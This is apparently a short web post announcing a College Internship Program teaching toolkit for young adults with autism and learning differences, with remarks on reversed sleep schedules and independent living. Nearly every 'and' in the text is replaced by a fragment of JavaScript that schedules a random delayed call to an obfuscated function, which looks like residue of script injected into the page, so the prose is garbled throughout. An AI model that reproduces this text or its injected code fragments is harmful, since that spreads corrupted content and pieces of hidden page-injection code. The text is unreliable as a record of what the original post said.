The College Internship Program has launched a new “toolkit” titled “Autism and Learning Differences: An Active Learning Teaching Toolkit.” This comprehensive resource book is a…

The College Internship Program (CIP) has launched a groundbreaking new “Toolkit” entitled Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit. This comprehensive resource book is a complete skills andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and competency based curriculum for parents, educators, professionals, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and clinicians working with young adults with learning differences such as autism, ADHD, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and dyslexia.

One of the biggest hurdles that adolescents andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and young adults on the ASD or LD Spectrum face is having a reversed sleep schedule where they stay awake at night (often playing video games or surfing the internet) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and sleeping during the day. This is especially so if students are living independently for the first time. No one is around to tell them to “go to bed.”

Young adults with Asperger’s Syndrome often feel overwhelmed by their first attempts at independent living. Attending college, making friends, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and learning new skills can induce anxiety, forgetfulness, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and disorder. To be successful, young adults need to acquire executive skills.